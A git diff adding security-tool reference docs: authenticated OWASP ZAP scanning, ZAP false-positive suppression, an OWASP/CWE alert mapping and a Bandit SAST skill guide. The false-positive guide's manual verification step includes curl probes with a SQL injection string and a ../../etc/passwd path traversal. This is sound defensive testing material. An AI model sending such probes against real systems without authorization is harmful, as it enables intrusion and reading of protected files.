+Using ZAP automation framework (`zap_automation.yaml`): + +```yaml +env: + contexts: + - name: API-Context + urls: + - https://api.example.com + authentication: + method: header + parameters: + header: Authorization + value: "Bearer ${API_TOKEN}" + sessionManagement: + method: cookie + +jobs: + - type: spider + parameters: + context: API-Context + user: api-user + + - type: activeScan + parameters: + context: API-Context + user: api-user +``` + +## OAuth 2.0 Authentication + +### Authorization Code Flow + +1. **Manual Browser-Based Token Acquisition** + +```bash +# Step 1: Get authorization code (open in browser) +https://oauth.example.com/authorize? + client_id=YOUR_CLIENT_ID& + redirect_uri=http://localhost:8080/callback& + response_type=code& + scope=openid profile + +# Step 2: Exchange code for token +TOKEN=$(curl -X POST https://oauth.example.com/token \ + -d "grant_type=authorization_code" \ + -d "code=AUTH_CODE_FROM_STEP_1" \ + -d "client_id=YOUR_CLIENT_ID" \ + -d "client_secret=YOUR_CLIENT_SECRET" \ + -d "redirect_uri=http://localhost:8080/callback" \ + | jq -r '.access_token') + +# Step 3: Use token in ZAP scan +export API_TOKEN="$TOKEN" +python3 scripts/zap_auth_scanner.py \ + --target https://api.example.com \ + --auth-type bearer \ + --token-env API_TOKEN +``` + +### Client Credentials Flow (Service-to-Service) + +```bash +# Obtain token using client credentials +TOKEN=$(curl -X POST https://oauth.example.com/token \ + -d "grant_type=client_credentials" \ + -d "client_id=YOUR_CLIENT_ID" \ + -d "client_secret=YOUR_CLIENT_SECRET" \ + -d "scope=api.read api.write" \ + | jq -r '.access_token') + +export API_TOKEN="$TOKEN" + +# Run authenticated scan +python3 scripts/zap_auth_scanner.py \ + --target https://api.example.com \ + --auth-type bearer \ + --token-env API_TOKEN +``` + +## HTTP Basic/Digest Authentication + +### Basic Authentication + +```bash +# Option 1: Using environment variable +export BASIC_AUTH="dGVzdHVzZXI6cGFzc3dvcmQ=" # base64(testuser:password) + +# Option 2: Using script +python3 scripts/zap_auth_scanner.py \ + --target https://app.example.com \ + --auth-type http \ + --username testuser \ + --password-env HTTP_PASSWORD +``` + +### Digest Authentication + +Similar to Basic, but ZAP automatically handles the challenge-response: + +```bash +docker run --rm \ + -v $(pwd):/zap/wrk/:rw \ + -t zaproxy/zap-stable \ + zap-full-scan.py \ + -t https://app.example.com \ + -n /zap/wrk/digest-auth-context.xml \ + -r /zap/wrk/digest-auth-report.html +``` + +## Session Management + +### Cookie-Based Sessions + +**Default Behavior:** ZAP automatically manages cookies. + +**Custom Configuration:** +- Set session cookie name in context +- Configure session timeout +- Define re-authentication triggers + +### Token Refresh Handling + +For tokens that expire during scan: + +```yaml +# zap_automation.yaml +env: + contexts: + - name: API-Context + authentication: + method: script + parameters: + script: | + // JavaScript to refresh token + function authenticate(helper, paramsValues, credentials) { + var loginUrl = "https://api.example.com/auth/login"; + var postData = '{"username":"' + credentials.getParam("username") + + '","password":"' + credentials.getParam("password") + '"}'; + + var msg = helper.prepareMessage(); + msg.setRequestHeader("POST " + loginUrl + " HTTP/1.1"); + msg.setRequestBody(postData); + helper.sendAndReceive(msg); + + var response = msg.getResponseBody().toString(); + var token = JSON.parse(response).token; + + // Store token for use in requests + helper.getHttpSender().setRequestHeader("Authorization", "Bearer " + token); + return msg; + } +``` + +## Verification and Troubleshooting + +### Verify Authentication is Working + +1. **Check Logged-In Indicator** + +Run a spider scan and verify protected pages are accessed: + +```bash +# Look for dashboard, profile, or other authenticated pages in spider results +``` + +2. **Monitor Authentication Requests** + +Enable ZAP logging to see authentication attempts: + +```bash +docker run --rm \ + -v $(pwd):/zap/wrk/:rw \ + -e ZAP_LOG_LEVEL=DEBUG \ + -t zaproxy/zap-stable \ + zap-full-scan.py -t https://app.example.com -n /zap/wrk/context.xml +``` + +3. **Test with Manual Request** + +Send a manual authenticated request via ZAP GUI or API to verify credentials work. + +### Common Authentication Issues + +#### Issue: Session Expires During Scan + +**Solution:** Configure re-authentication: + +```python +# In zap_auth_scanner.py, add re-authentication trigger +--re-authenticate-on 401,403 \ +--verification-interval 300 # Check every 5 minutes +``` + +#### Issue: CSRF Tokens Required + +**Solution:** Use anti-CSRF token handling: + +```yaml +# zap_automation.yaml +env: + contexts: + - name: WebApp + authentication: + verification: + method: response + loggedInRegex: "\\QWelcome\\E" + sessionManagement: + method: cookie + parameters: + antiCsrfTokens: true +``` + +#### Issue: Rate Limiting Blocking Authentication + +**Solution:** Slow down scan: + +```bash +docker run -t zaproxy/zap-stable zap-full-scan.py \ + -t https://app.example.com \ + -z "-config scanner.delayInMs=2000 -config scanner.threadPerHost=1" +``` + +#### Issue: Multi-Step Login (MFA) + +**Solution:** Use script-based authentication with Selenium or manual token acquisition. + +## Security Best Practices + +1. **Never Hardcode Credentials** + - Use environment variables + - Use secrets management tools (Vault, AWS Secrets Manager) + +2. **Use Dedicated Test Accounts** + - Create accounts specifically for security testing + - Limit permissions to test data only + - Monitor for abuse + +3. **Rotate Credentials Regularly** + - Change test account passwords after each scan + - Rotate API tokens frequently + +4. **Log Authentication Attempts** + - Monitor for failed authentication attempts + - Alert on unusual patterns + +5. **Secure Context Files** + - Never commit context files with credentials to version control + - Use `.gitignore` to exclude `*.context` files + - Encrypt context files at rest + +## Examples by Framework + +### Django Application + +```bash +# Django CSRF token handling +python3 scripts/zap_auth_scanner.py \ + --target https://django-app.example.com \ + --auth-type form \ + --login-url https://django-app.example.com/accounts/login/ \ + --username testuser \ + --password-env DJANGO_PASSWORD \ + --verification-url https://django-app.example.com/dashboard/ +``` + +### Spring Boot Application + +```bash +# Spring Security form login +python3 scripts/zap_auth_scanner.py \ + --target https://spring-app.example.com \ + --auth-type form \ + --login-url https://spring-app.example.com/login \ + --username testuser \ + --password-env SPRING_PASSWORD +``` + +### React SPA with JWT + +```bash +# Get JWT from API, then scan +TOKEN=$(curl -X POST https://api.example.com/auth/login \ + -H "Content-Type: application/json" \ + -d '{"email":"test@example.com","password":"password"}' \ + | jq -r '.token') + +export API_TOKEN="$TOKEN" + +python3 scripts/zap_auth_scanner.py \ + --target https://spa.example.com \ + --auth-type bearer \ + --token-env API_TOKEN +``` + +## Additional Resources + +- [ZAP Authentication Documentation](https://www.zaproxy.org/docs/desktop/start/features/authentication/) +- [ZAP Session Management](https://www.zaproxy.org/docs/desktop/start/features/sessionmanagement/) +- [OAuth 2.0 RFC 6749](https://tools.ietf.org/html/rfc6749) diff --git a/skills/appsec/dast-zap/references/false_positive_handling.md b/skills/appsec/dast-zap/references/false_positive_handling.md new file mode 100644 index 0000000..9ba1092 --- /dev/null +++ b/skills/appsec/dast-zap/references/false_positive_handling.md @@ -0,0 +1,427 @@ +# ZAP False Positive Handling Guide + +Guide for identifying, verifying, and suppressing false positives in OWASP ZAP scan results. + +## Overview + +DAST tools like ZAP generate false positives - alerts for issues that aren't actually exploitable vulnerabilities. This guide helps you: + +1. Identify common false positives +2. Verify findings manually +3. Suppress false positives in future scans +4. Tune scan policies + +## Common False Positives + +### 1. X-Content-Type-Options Missing + +**Alert:** Missing X-Content-Type-Options header + +**False Positive Scenario:** +- Static content served by CDNs +- Third-party resources +- Legacy browsers not supported + +**Verification:** +```bash +curl -I https://example.com/static/script.js +# Check if browser performs MIME sniffing +``` + +**When to Suppress:** +- Static content only (CSS, JS, images) +- Content served from trusted CDN +- No user-controlled content in responses + +**Suppression Rule:** +```tsv +10021 https://cdn.example.com/.* .* 693 IGNORE +``` + +### 2. Cookie Without Secure Flag + +**Alert:** Cookie without Secure flag set + +**False Positive Scenario:** +- Development/testing environments (HTTP) +- Non-sensitive cookies (analytics, preferences) +- Localhost testing + +**Verification:** +```bash +curl -I https://example.com +# Check Set-Cookie headers +# Verify if cookie contains sensitive data +``` + +**When to Suppress:** +- Non-sensitive cookies (theme preference, language) +- HTTP-only development environments +- Third-party analytics cookies + +**Suppression Rule:** +```tsv +10054 https://example.com.* _ga|_gid|theme 614 WARN +``` + +### 3. Cross-Domain JavaScript Source File Inclusion + +**Alert:** JavaScript loaded from external domain + +**False Positive Scenario:** +- Legitimate CDN usage (jQuery, Bootstrap, etc.) +- Third-party integrations (Google Analytics, Stripe) +- Using Subresource Integrity (SRI) + +**Verification:** +```html + + +``` + +**When to Suppress:** +- CDN resources with SRI +- Trusted third-party services +- Company-owned CDN domains + +**Suppression Rule:** +```tsv +10017 https://example.com/.* https://cdn.jsdelivr.net/.* 829 IGNORE +``` + +### 4. Timestamp Disclosure + +**Alert:** Unix timestamps found in response + +**False Positive Scenario:** +- Legitimate timestamp fields in API responses +- Non-sensitive metadata +- Public timestamps (post dates, etc.) + +**Verification:** +```json +{ + "created_at": 1640995200, // Legitimate field + "post_date": "2022-01-01" +} +``` + +**When to Suppress:** +- API responses with datetime fields +- Public-facing timestamps +- Non-sensitive metadata + +**Suppression Rule:** +```tsv +10096 https://api.example.com/.* created_at|updated_at 200 IGNORE +``` + +### 5. Server Version Disclosure + +**Alert:** Server version exposed in headers + +**False Positive Scenario:** +- Behind WAF/load balancer (version is of proxy, not app server) +- Generic server headers +- Already public knowledge + +**Verification:** +```bash +curl -I https://example.com | grep Server +# Check if version matches actual server +``` + +**When to Suppress:** +- Proxy/WAF version (not actual app server) +- Generic headers without version numbers +- When other compensating controls exist + +**Suppression Rule:** +```tsv +10036 https://example.com.* .* 200 WARN +``` + +## Verification Methodology + +### Step 1: Understand the Alert + +Review ZAP alert details: +- **Description:** What is the potential vulnerability? +- **Evidence:** What triggered the alert? +- **CWE/OWASP Mapping:** What category does it fall under? +- **Risk Level:** How severe is it? + +### Step 2: Reproduce Manually + +Attempt to exploit the vulnerability: + +```bash +# For XSS alerts +curl "https://example.com/search?q=" +# Check if script is reflected unencoded + +# For SQL injection alerts +curl "https://example.com/api/user?id=1' OR '1'='1" +# Check for SQL errors or unexpected behavior + +# For path traversal alerts +curl "https://example.com/download?file=../../etc/passwd" +# Check if file is accessible +``` + +### Step 3: Check Context + +Consider the application context: +- Is the functionality available to unauthenticated users? +- Does it handle sensitive data? +- Are there compensating controls (WAF, input validation)? + +### Step 4: Document Decision + +Create documentation for suppression decisions: + +```markdown +## Alert: SQL Injection in /api/user + +**Decision:** False Positive + +**Rationale:** +- Endpoint requires authentication +- Input is validated server-side (allowlist: 0-9 only) +- WAF rule blocks SQL injection patterns +- Manual testing confirmed no injection possible + +**Suppressed:** Yes (Rule ID 40018, /api/user endpoint) + +**Reviewed by:** security-team@example.com +**Date:** 2024-01-15 +``` + +## Creating Suppression Rules + +### Rules File Format + +ZAP uses TSV (tab-separated values) format: + +``` +alert_id URL_pattern parameter CWE_id action +``` + +- **alert_id:** ZAP alert ID (e.g., 40018 for SQL Injection) +- **URL_pattern:** Regex pattern for URL +- **parameter:** Parameter name (or .* for all) +- **CWE_id:** CWE identifier +- **action:** IGNORE, WARN, or FAIL + +### Example Rules File + +`.zap/rules.tsv`: + +```tsv +# Suppress X-Content-Type-Options for CDN static content +10021 https://cdn.example.com/static/.* .* 693 IGNORE + +# Warn (don't fail) on analytics cookies without Secure flag +10054 https://example.com/.* _ga|_gid 614 WARN + +# Ignore timestamp disclosure in API responses +10096 https://api.example.com/.* .* 200 IGNORE + +# Ignore legitimate external JavaScript (with SRI) +10017 https://example.com/.* https://cdn.jsdelivr.net/.* 829 IGNORE + +# Suppress CSRF warnings for stateless API +10202 https://api.example.com/.* .* 352 IGNORE +``` + +### Using Rules File + +```bash +# Baseline scan with rules +docker run -t zaproxy/zap-stable zap-baseline.py \ + -t https://example.com \ + -c .zap/rules.tsv \ + -r report.html + +# Full scan with rules +docker run -v $(pwd):/zap/wrk/:rw -t zaproxy/zap-stable zap-full-scan.py \ + -t https://example.com \ + -c /zap/wrk/.zap/rules.tsv \ + -r /zap/wrk/report.html +``` + +## Custom Scan Policies + +### Disable Entire Scan Rules + +Create custom scan policy to disable problematic rules: + +1. **Via ZAP GUI:** + - Analyze > Scan Policy Manager + - Create new policy + - Disable specific rules + - Export policy file + +2. **Via Automation Framework:** + +```yaml +# zap_automation.yaml +jobs: + - type: activeScan + parameters: + policy: Custom-Policy + rules: + - id: 40018 # SQL Injection + threshold: MEDIUM + strength: HIGH + - id: 10202 # CSRF + threshold: OFF # Disable completely +``` + +## Handling Different Alert Types + +### High-Risk Alerts (Never Suppress Without Verification) + +- SQL Injection +- Command Injection +- Remote Code Execution +- Authentication Bypass +- Server-Side Request Forgery (SSRF) + +**Process:** +1. Manual verification required +2. Security team review +3. Document compensating controls +4. Re-test after fixes + +### Medium-Risk Alerts (Contextual Suppression) + +- XSS (if output is properly encoded) +- CSRF (if tokens are implemented) +- Missing headers (if compensating controls exist) + +**Process:** +1. Verify finding +2. Check for compensating controls +3. Document decision +4. Suppress with WARN (not IGNORE) + +### Low-Risk Alerts (Can Be Suppressed) + +- Informational headers +- Timestamp disclosure +- Technology fingerprinting + +**Process:** +1. Quick verification +2. Document reason +3. Suppress with IGNORE + +## Quality Assurance + +### Review Suppression Rules Regularly + +```bash +# Monthly review checklist +- [ ] Review all suppression rules for continued relevance +- [ ] Check if suppressed issues have been fixed +- [ ] Verify compensating controls are still in place +- [ ] Update rules file with new false positives +``` + +### Track Suppression Metrics + +Monitor suppression trends: + +```bash +# Count suppressions by alert type +grep -v '^#' .zap/rules.tsv | awk '{print $1}' | sort | uniq -c + +# Alert if suppression count increases significantly +``` + +### Peer Review Process + +Require security team approval for suppressing high-risk alerts: + +```yaml +# .github/workflows/security-review.yml +- name: Check for new suppressions + run: | + git diff origin/main .zap/rules.tsv > suppressions.diff + if [ -s suppressions.diff ]; then + echo "New suppressions require security team review" + # Notify security team + fi +``` + +## Anti-Patterns to Avoid + +### ❌ Don't Suppress Everything + +Never create blanket suppression rules: + +```tsv +# BAD: Suppresses all XSS findings +40012 .* .* 79 IGNORE +``` + +### ❌ Don't Suppress Without Documentation + +Always document why a finding is suppressed: + +```tsv +# BAD: No context +10054 https://example.com/.* session_id 614 IGNORE + +# GOOD: Documented reason +# Session cookie is HTTPS-only in production; suppressing for staging environment +10054 https://staging.example.com/.* session_id 614 IGNORE +``` + +### ❌ Don't Ignore High-Risk Findings + +Never suppress critical vulnerabilities without thorough investigation: + +```tsv +# DANGEROUS: Never suppress SQL injection without verification +40018 https://example.com/.* .* 89 IGNORE +``` + +## Tools and Scripts + +### Analyze ZAP JSON Report + +```python +#!/usr/bin/env python3 +import json +import sys + +with open('report.json') as f: + report = json.load(f) + +false_positives = [] +for site in report['site']: + for alert in site['alerts']: + if alert['risk'] in ['High', 'Medium']: + print(f"{alert['alert']} - {alert['risk']}") + print(f" URL: {alert['url']}") + print(f" Evidence: {alert.get('evidence', 'N/A')}") + print() +``` + +### Generate Suppression Rules Template + +```bash +# Extract unique alert IDs from report +jq -r '.site[].alerts[] | "\(.pluginid)\t\(.url)\t.*\t\(.cweid)\tWARN"' report.json \ + | sort -u > rules-template.tsv +``` + +## Additional Resources + +- [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/) +- [ZAP Scan Rules](https://www.zaproxy.org/docs/docker/baseline-scan/) +- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) diff --git a/skills/appsec/dast-zap/references/owasp_mapping.md b/skills/appsec/dast-zap/references/owasp_mapping.md new file mode 100644 index 0000000..6225a1d --- /dev/null +++ b/skills/appsec/dast-zap/references/owasp_mapping.md @@ -0,0 +1,255 @@ +# OWASP ZAP Alert Mapping to OWASP Top 10 2021 and CWE + +This reference maps common OWASP ZAP alerts to OWASP Top 10 2021 categories and CWE (Common Weakness Enumeration) identifiers for compliance and reporting. + +## OWASP Top 10 2021 Coverage + +### A01:2021 - Broken Access Control + +**ZAP Alerts:** +- Path Traversal (CWE-22) +- Directory Browsing (CWE-548) +- Cross-Domain Misconfiguration (CWE-346) +- Bypassing Access Controls (CWE-284) + +**Risk Level:** High to Medium + +**Remediation:** +- Implement proper access control checks on server-side +- Use allowlists for file access patterns +- Disable directory listing +- Enforce CORS policies strictly + +### A02:2021 - Cryptographic Failures + +**ZAP Alerts:** +- Weak SSL/TLS Ciphers (CWE-327) +- Cookie Without Secure Flag (CWE-614) +- Password Autocomplete (CWE-522) +- Sensitive Information in URL (CWE-598) + +**Risk Level:** High to Medium + +**Remediation:** +- Use TLS 1.2+ with strong cipher suites +- Set Secure and HttpOnly flags on all cookies +- Disable autocomplete for sensitive fields +- Never transmit sensitive data in URLs + +### A03:2021 - Injection + +**ZAP Alerts:** +- SQL Injection (CWE-89) +- Cross-Site Scripting (XSS) (CWE-79) +- Command Injection (CWE-78) +- LDAP Injection (CWE-90) +- XML Injection (CWE-91) +- XPath Injection (CWE-643) + +**Risk Level:** High + +**Remediation:** +- Use parameterized queries (prepared statements) +- Implement context-aware output encoding +- Validate and sanitize all user input +- Use allowlists for input validation +- Implement Content Security Policy (CSP) + +### A04:2021 - Insecure Design + +**ZAP Alerts:** +- Application Error Disclosure (CWE-209) +- Insufficient Anti-automation (CWE-799) +- Missing Rate Limiting + +**Risk Level:** Medium to Low + +**Remediation:** +- Implement proper error handling (generic error messages) +- Add CAPTCHA or rate limiting for sensitive operations +- Design security controls during architecture phase +- Implement anti-automation measures + +### A05:2021 - Security Misconfiguration + +**ZAP Alerts:** +- Missing Security Headers (CWE-693) + - X-Content-Type-Options + - X-Frame-Options (CWE-1021) + - Content-Security-Policy + - Strict-Transport-Security (HSTS) +- Server Leaks Information (CWE-200) +- Default Credentials +- Unnecessary HTTP Methods Enabled (CWE-650) + +**Risk Level:** Medium to Low + +**Remediation:** +- Configure all security headers properly +- Remove server version headers +- Disable unnecessary HTTP methods (PUT, DELETE, TRACE) +- Change default credentials +- Implement minimal privilege principle + +### A06:2021 - Vulnerable and Outdated Components + +**ZAP Alerts:** +- Outdated Software Version Detected +- Known Vulnerable Components (requires integration with CVE databases) + +**Risk Level:** High to Medium + +**Remediation:** +- Maintain software inventory +- Regularly update dependencies and libraries +- Subscribe to security advisories +- Use dependency scanning tools (OWASP Dependency-Check, Snyk) + +### A07:2021 - Identification and Authentication Failures + +**ZAP Alerts:** +- Weak Authentication (CWE-287) +- Session Fixation (CWE-384) +- Session ID in URL Rewrite (CWE-598) +- Cookie No HttpOnly Flag (CWE-1004) +- Credential Enumeration (CWE-209) + +**Risk Level:** High + +**Remediation:** +- Implement multi-factor authentication (MFA) +- Use secure session management +- Regenerate session IDs after login +- Set HttpOnly and Secure flags on session cookies +- Implement account lockout mechanisms +- Use generic error messages for authentication failures + +### A08:2021 - Software and Data Integrity Failures + +**ZAP Alerts:** +- Missing Subresource Integrity (SRI) (CWE-353) +- Insecure Deserialization (CWE-502) + +**Risk Level:** High to Medium + +**Remediation:** +- Implement Subresource Integrity for CDN resources +- Avoid deserializing untrusted data +- Use digital signatures for critical data +- Implement integrity checks + +### A09:2021 - Security Logging and Monitoring Failures + +**ZAP Alerts:** +- Authentication attempts not logged +- No monitoring of security events + +**Risk Level:** Low (detection issue, not vulnerability) + +**Remediation:** +- Log all authentication attempts +- Monitor for security anomalies +- Implement centralized logging +- Set up alerts for suspicious activities + +### A10:2021 - Server-Side Request Forgery (SSRF) + +**ZAP Alerts:** +- Server-Side Request Forgery (CWE-918) +- External Redirect (CWE-601) + +**Risk Level:** High + +**Remediation:** +- Validate and sanitize all URLs +- Use allowlists for allowed domains +- Disable unnecessary URL schemas (file://, gopher://) +- Implement network segmentation + +## ZAP Alert ID to OWASP/CWE Quick Reference + +| Alert ID | Alert Name | OWASP 2021 | CWE | Risk | +|----------|-----------|------------|-----|------| +| 40018 | SQL Injection | A03 | CWE-89 | High | +| 40012 | Cross-Site Scripting (Reflected) | A03 | CWE-79 | High | +| 40014 | Cross-Site Scripting (Persistent) | A03 | CWE-79 | High | +| 40013 | Cross-Site Scripting (DOM) | A03 | CWE-79 | High | +| 6 | Path Traversal | A01 | CWE-22 | High | +| 7 | Remote File Inclusion | A01 | CWE-98 | High | +| 90019 | Server-Side Code Injection | A03 | CWE-94 | High | +| 90020 | Remote OS Command Injection | A03 | CWE-78 | High | +| 90033 | Loosely Scoped Cookie | A07 | CWE-565 | Medium | +| 10021 | X-Content-Type-Options Missing | A05 | CWE-693 | Low | +| 10020 | X-Frame-Options Missing | A05 | CWE-1021 | Medium | +| 10038 | Content Security Policy Missing | A05 | CWE-693 | Medium | +| 10035 | Strict-Transport-Security Missing | A05 | CWE-319 | Low | +| 10054 | Cookie Without Secure Flag | A02 | CWE-614 | Medium | +| 10010 | Cookie No HttpOnly Flag | A07 | CWE-1004 | Medium | +| 10098 | Cross-Domain Misconfiguration | A01 | CWE-346 | Medium | +| 10055 | CSP Scanner: Wildcard Directive | A05 | CWE-693 | Medium | +| 10096 | Timestamp Disclosure | A05 | CWE-200 | Low | +| 10049 | Weak Authentication Method | A07 | CWE-287 | Medium | +| 40029 | Server-Side Request Forgery | A10 | CWE-918 | High | + +## Risk Level Priority Matrix + +### High Risk (Immediate Action Required) +- SQL Injection +- Remote Code Execution +- Authentication Bypass +- SSRF +- XXE (XML External Entity) + +### Medium Risk (Fix in Current Sprint) +- XSS (Cross-Site Scripting) +- CSRF (Cross-Site Request Forgery) +- Missing Security Headers (CSP, X-Frame-Options) +- Insecure Cookie Configuration +- Path Traversal (with limited impact) + +### Low Risk (Fix in Backlog) +- Information Disclosure (version headers) +- Missing Informational Headers +- Timestamp Disclosure +- Autocomplete on Form Fields + +### Informational (Documentation/Awareness) +- Server Technology Disclosure +- Application Error Messages +- Charset Mismatch + +## Compliance Mapping + +### PCI-DSS 3.2.1 +- **Requirement 6.5.1** (Injection): SQL Injection, Command Injection, XSS +- **Requirement 6.5.3** (Insecure Cryptography): Weak SSL/TLS, Insecure Cookies +- **Requirement 6.5.7** (XSS): All XSS variants +- **Requirement 6.5.8** (Access Control): Path Traversal, Broken Access Control +- **Requirement 6.5.10** (Authentication): Weak Authentication, Session Management + +### NIST 800-53 +- **AC-3** (Access Enforcement): Path Traversal, Authorization Issues +- **IA-5** (Authenticator Management): Weak Authentication +- **SC-8** (Transmission Confidentiality): Missing HTTPS, Weak TLS +- **SI-10** (Information Input Validation): All Injection Flaws + +### GDPR +- **Article 32** (Security of Processing): All High/Medium findings affecting data security +- **Article 25** (Data Protection by Design): Security Misconfigurations + +## Usage in Reports + +When generating compliance reports, reference this mapping to: + +1. **Categorize findings** by OWASP Top 10 category +2. **Assign CWE IDs** for standardized vulnerability classification +3. **Map to compliance requirements** for audit trails +4. **Prioritize remediation** based on risk level and compliance impact +5. **Track metrics** by OWASP category over time + +## Additional Resources + +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [CWE Top 25](https://cwe.mitre.org/top25/) +- [ZAP Alert Details](https://www.zaproxy.org/docs/alerts/) +- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/) diff --git a/skills/appsec/sast-bandit/SKILL.md b/skills/appsec/sast-bandit/SKILL.md new file mode 100644 index 0000000..81639df --- /dev/null +++ b/skills/appsec/sast-bandit/SKILL.md @@ -0,0 +1,305 @@ +--- +name: sast-bandit +description: > + Python security vulnerability detection using Bandit SAST with CWE and OWASP mapping. + Use when: (1) Scanning Python code for security vulnerabilities and anti-patterns, + (2) Identifying hardcoded secrets, SQL injection, command injection, and insecure APIs, + (3) Generating security reports with severity classifications for CI/CD pipelines, + (4) Providing remediation guidance with security framework references, + (5) Enforcing Python security best practices in development workflows. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [sast, bandit, python, vulnerability-scanning, owasp, cwe, security-linting] +frameworks: [OWASP, CWE] +dependencies: + python: ">=3.8" + packages: [bandit] +references: + - https://github.com/PyCQA/bandit + - https://bandit.readthedocs.io/ + - https://owasp.org/www-project-top-ten/ +--- + +# Bandit Python SAST + +## Overview + +Bandit is a security-focused static analysis tool for Python that identifies common security vulnerabilities and coding anti-patterns. It parses Python code into Abstract Syntax Trees (AST) and executes security plugins to detect issues like hardcoded credentials, SQL injection, command injection, weak cryptography, and insecure API usage. Bandit provides actionable reports with severity classifications aligned to industry security standards. + +## Quick Start + +Scan a Python file or directory for security vulnerabilities: + +```bash +# Install Bandit +pip install bandit + +# Scan single file +bandit suspicious_file.py + +# Scan entire directory recursively +bandit -r /path/to/python/project + +# Generate JSON report +bandit -r project/ -f json -o bandit_report.json + +# Scan with custom config +bandit -r project/ -c .bandit.yaml +``` + +## Core Workflow + +### Step 1: Install and Configure Bandit + +Install Bandit via pip: + +```bash +pip install bandit +``` + +Create a configuration file `.bandit` or `.bandit.yaml` to customize scans: + +```yaml +# .bandit.yaml +exclude_dirs: + - /tests/ + - /venv/ + - /.venv/ + - /node_modules/ + +skips: + - B101 # Skip assert_used checks in test files + +tests: + - B201 # Flask app run with debug=True + - B301 # Pickle usage + - B601 # Shell injection + - B602 # Shell=True in subprocess +``` + +### Step 2: Execute Security Scan + +Run Bandit against Python codebase: + +```bash +# Basic scan with severity threshold +bandit -r . -ll # Report only medium/high severity + +# Comprehensive scan with detailed output +bandit -r . -f json -o report.json -v + +# Scan with confidence filtering +bandit -r . -i # Show only high confidence findings + +# Exclude specific tests +bandit -r . -s B101,B601 +``` + +### Step 3: Analyze Results + +Bandit reports findings with: +- **Issue Type**: Vulnerability category (e.g., hardcoded_password, sql_injection) +- **Severity**: LOW, MEDIUM, HIGH +- **Confidence**: LOW, MEDIUM, HIGH +- **CWE**: Common Weakness Enumeration reference +- **Location**: File path and line number + +Example output: + +``` +>> Issue: [B105:hardcoded_password_string] Possible hardcoded password: 'admin123' + Severity: Medium Confidence: Medium + CWE: CWE-259 (Use of Hard-coded Password) + Location: app/config.py:12 +``` + +### Step 4: Prioritize Findings + +Focus remediation efforts using this priority matrix: + +1. **Critical**: HIGH severity + HIGH confidence +2. **High**: HIGH severity OR MEDIUM severity + HIGH confidence +3. **Medium**: MEDIUM severity + MEDIUM confidence +4. **Low**: LOW severity OR LOW confidence + +### Step 5: Remediate Vulnerabilities + +For each finding, consult the bundled `references/remediation_guide.md` for secure coding patterns. Common remediation strategies: + +- **Hardcoded Secrets (B105, B106)**: Use environment variables or secret management services +- **SQL Injection (B608)**: Use parameterized queries with SQLAlchemy or psycopg2 +- **Command Injection (B602, B605)**: Avoid `shell=True`, use `shlex.split()` for argument parsing +- **Weak Cryptography (B303, B304)**: Replace MD5/SHA1 with SHA256/SHA512 or bcrypt for passwords +- **Insecure Deserialization (B301)**: Avoid pickle, use JSON or MessagePack with schema validation + +### Step 6: Integrate into CI/CD + +Add Bandit to CI/CD pipelines to enforce security gates: + +```yaml +# .github/workflows/security-scan.yml +name: Security Scan +on: [push, pull_request] + +jobs: + bandit: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: actions/setup-python@v4 + with: + python-version: '3.11' + - name: Install Bandit + run: pip install bandit + - name: Run Bandit + run: bandit -r . -f json -o bandit-report.json + - name: Check for high severity issues + run: bandit -r . -ll -f txt || exit 1 +``` + +Use the bundled script `scripts/bandit_analyzer.py` for enhanced reporting with OWASP mapping. + +## Security Considerations + +- **Sensitive Data Handling**: Bandit reports may contain code snippets with hardcoded credentials. Ensure reports are stored securely and access is restricted. Use `--no-code` flag to exclude code snippets from reports. + +- **Access Control**: Run Bandit in sandboxed CI/CD environments with read-only access to source code. Restrict write permissions to prevent tampering with security configurations. + +- **Audit Logging**: Log all Bandit executions with timestamps, scan scope, findings count, and operator identity for security auditing and compliance purposes. + +- **Compliance**: Bandit supports SOC2, PCI-DSS, and GDPR compliance by identifying security weaknesses. Document scan frequency, remediation timelines, and exception approvals for audit trails. + +- **False Positives**: Review LOW confidence findings manually. Use inline `# nosec` comments sparingly and document justifications in code review processes. + +## Bundled Resources + +### Scripts (`scripts/`) + +- `bandit_analyzer.py` - Enhanced Bandit wrapper that parses JSON output, maps findings to OWASP Top 10, generates HTML reports, and integrates with ticketing systems. Use for comprehensive security reporting. + +### References (`references/`) + +- `remediation_guide.md` - Detailed secure coding patterns for common Bandit findings, including code examples for SQLAlchemy parameterization, secure subprocess usage, and cryptographic best practices. Consult when remediating specific vulnerability types. + +- `cwe_owasp_mapping.md` - Complete mapping between Bandit issue codes, CWE identifiers, and OWASP Top 10 categories. Use for security framework alignment and compliance reporting. + +### Assets (`assets/`) + +- `bandit_config.yaml` - Production-ready Bandit configuration with optimized test selection, exclusion patterns for common false positives, and severity thresholds. Use as baseline configuration for projects. + +- `pre-commit-config.yaml` - Pre-commit hook configuration for Bandit integration. Prevents commits with HIGH severity findings. + +## Common Patterns + +### Pattern 1: Baseline Security Scan + +Establish security baseline for legacy codebases: + +```bash +# Generate baseline report +bandit -r . -f json -o baseline.json + +# Compare future scans against baseline +bandit -r . -f json -o current.json +diff <(jq -S . baseline.json) <(jq -S . current.json) +``` + +### Pattern 2: Security Gating in Pull Requests + +Block merges with HIGH severity findings: + +```bash +# Exit with error if HIGH severity issues found +bandit -r . -lll -f txt +if [ $? -ne 0 ]; then + echo "HIGH severity security issues detected - blocking merge" + exit 1 +fi +``` + +### Pattern 3: Progressive Security Hardening + +Incrementally increase security standards: + +```bash +# Phase 1: Block only CRITICAL (HIGH severity + HIGH confidence) +bandit -r . -ll -i + +# Phase 2: Block HIGH severity +bandit -r . -ll + +# Phase 3: Block MEDIUM and above +bandit -r . -l +``` + +### Pattern 4: Suppressing False Positives + +Document exceptions inline with justification: + +```python +# Example: Suppressing pickle warning for internal serialization +import pickle # nosec B301 - Internal cache, not user input + +def load_cache(file_path): + with open(file_path, 'rb') as f: + return pickle.load(f) # nosec B301 +``` + +## Integration Points + +- **CI/CD**: Integrate as GitHub Actions, GitLab CI, Jenkins pipeline stage, or pre-commit hook. Use `scripts/bandit_analyzer.py` for enhanced reporting. + +- **Security Tools**: Combine with Semgrep for additional SAST coverage, Safety for dependency scanning, and SonarQube for code quality metrics. + +- **SDLC**: Execute during development (pre-commit), code review (PR checks), and release gates (pipeline stage). Establish baseline scans for legacy code and enforce strict checks for new code. + +- 